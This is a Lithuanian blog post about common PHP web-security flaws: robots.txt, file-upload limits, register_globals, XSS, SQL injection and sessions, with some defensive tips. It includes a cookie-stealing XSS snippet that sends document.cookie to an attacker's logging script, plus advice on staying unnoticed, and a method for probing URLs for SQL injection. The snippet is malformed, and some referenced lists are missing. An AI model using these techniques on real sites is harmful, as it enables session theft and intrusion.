Įrankiai
Pradžioje paminėsiu įrankius, kuriuos naudojome:
Robots.txt
Robots.txt faile yra aprašomos direktorijos, kurių robotai neturėtų indeksuoti (nuorodų į jas taip pat). Todėl, dažniausiai programuotojai į robots.txt failą įrašo administravimo panelės direktorijos pavadinimą. Nuo to programišiai savo atakas dažniausiai ir pradeda. Tačiau, ši spraga, jei ją taip galima pavadinti, yra jau senai žinoma, todėl aš apie ją daugiau ir nerašysiu. Geriausia apsauga nuo tokios spragos - padaryti spąstų direktoriją, t.y. sukurti nuo puslapio nepriklausomą sistemą, kuri atrodytų kaip prisijungimas prie admin direktorijos ir įrašyti tą direktoriją į robots.txt. Taip programišius kurį laiką turės ką veikti, o jūs galėsite rinkti informaciją apie tai, kokiomos saugumo spragomis jis bando pasinaudoti.
Failo įvedimas
Kita, dažnai pasitaikanti problema yra failo įterpimas per <input type="file" /> lauką. Dėstytojas sakė, kad dauguma programuotojų failo dydį bando limituoti paslėptu lauku: <input type="hidden" name="MAX_FILE_SIZE" VALUE="failo_dydis_KB" />. Tai gerai dėl to, kad iš naršyklės iš karto neleidžia įkelti failo. Tačiau vargu ar tai yra apsisaugojimo priemonė, nes su tuo pačiu "tamper data" įrankiu galima pakeisti lauko reikšmę ir įkelinėti filmus :) Neseniai Lietuvos php konferencijoje buvo panaši diskusija. Daugiau pasiskaityti galima čia.
Input
Visose saugumo prezentacijose, knygose yra akcentuojama, kad reikia filtruoti visą, iš vartotojo gaunamą informaciją. Tie, kas viską žino, šį paragrafą gali praleisti, o kiti skaitykite toliau :)
<?php if ($isRegistred) { // registruoto vartotojo parametrai } ?>
Jei register_globals parametras bus įjungtas, tai aukščiau parašytas kodo fragmentas gali būti apeitas URL'e įrašius: http://url/kelias?isRegistred=true. Tikiuosi grėsmė aiški, kam dar trūksta info, tai:
Tai yra pagrindinės problemos, ateinančios per formas ir url adresus (SQL mėgėjai, luktelkit). Įrašas netektų prasmės, jei nepaminėčiau, kaip nuo viso to apsisaugoti. Išskirsiu kelis būdus. Gaunamos reikšmės tipo nustatymas (cast'inimas). Tarkime, jei tikitės, kad url ar formos parametras turėtų būti sveikasis skaičius, tada prie kintamojo pravartu nurodyti jo tipą. Pvz. $id = (int)$_GET['int']; White ir black list'ai. Galimų reikšmių apibrėžimas. Black list - neleidžiamų reikšmių masyvo sudarymas ir tikrinimas ar gauta reikšmė nepatenka į šį sąrašą. Šio būdo siūlau nenaudoti, nes vargu ar apibrėšite visus galimus pavojus. White list - galimų reikšmių apibrėžimas. Jei yra žinomos reikšmės, kurios gali būti gautos iš vartotojo, pvz. formose select lauko tipas, jas galima iš anksto apsibrėžti. Po to reikės tik patikrinti, ar gauta reikšmė yra masyve ar ne. Aš, asmeniškai, naudoju cast ir white list apsaugas apjungtas kartu :) Jei manote, kad mano variantas yra blogas - komentarai tam ir skirti, kad kritikuotumėte ;)
XSS (Cross-site scripting)
Kad įrašas nebūtų per daug ilgas, kas yra XSS nerašysiu. Apie tai galite pasiskaityti wikipedia.org puslapyje :)
<script type="text/javascript"> <img src="http://url/img.php?cookie=encodeURI(document.cookie) /> </script> Dar galima pridėti ir domain loginimą. O img.php faile tereikia viską loginti. Jei img.php dar grąžins kokį nors img, tai ilgą laiką būsite nepastebėti :)
SQL injekcija
Kaip ir paragrafe apie XSS, per daug didelių intro nedarysiu, tiesiog pereisiu prie laužymo ir saugumo :) Papraščiausias būdas aptikti. Tarkima yra toks url: http://url/index.php?id=70. Jei, įvedus http://url/index.php?id=71-1 atvaizduojamas tas pats turinys, o įvedus http://url/index.php?id=70-1 jau kitas, tai reiškia, kad turim SQL injekciją :) Panaudojimo galimybės yra pakankamai nemažos - nuo vartotojų prisijungimo vardų ir slaptažodžių gavimo, iki informacijos sunaikinimo.
Jei nors vienas iš šių variantų negrąžino klaidos - tai ir yra web aplikacijoje naudojamas SQL :)
Sesijos
Serverio pusėje saugoma informacija. Su vartotoju susieta per sesijos id (saugomą sausainėlyje (cookie)). Sesijose dažniausiai saugoma "jautrausia" vartotojo informacija. Pasinaudojus XSS ataka ir pavogus sesijos id, galima pavogti vartotojo duomenis, apsimesti kitu vartotoju. Taip pat galima bandyti generuoti sesijos id ir tikėtis jį atspėti - kas yra sunkiai tikėtina :)
Epilogas
Įrašas gavosi ilgas, tačiau tikrai parašiau ne viską, ką norėjau (trūko įžangų, kodo pavyzdžių), tačiau nenorėjau per daug išsiplėsti, nes tada vargu ar kas nuo pradžios iki galo perskaitys :) Jei pastebėjote, tai su kiekvienu tolimesniu paragrafu, jo (paragrafo) ilgis mažėjo. Taip atsitiko todėl, kad straipsnį norėjau pabaigti vienu prisėdimu. Deja, straipsnis buvo pradėtas rašyti prieš du mėnesius ir pabaigtas tik šiandien :)
P.S.
Labai laukiu pastabų ir komentarų. Gal ką praleidau ar kas pasirodė neišbaigta. Jei komentaruose užvirs diskusija, tai parašysiu dar vieną straipsnį ir pratęsiu temą apie saugumą :) . |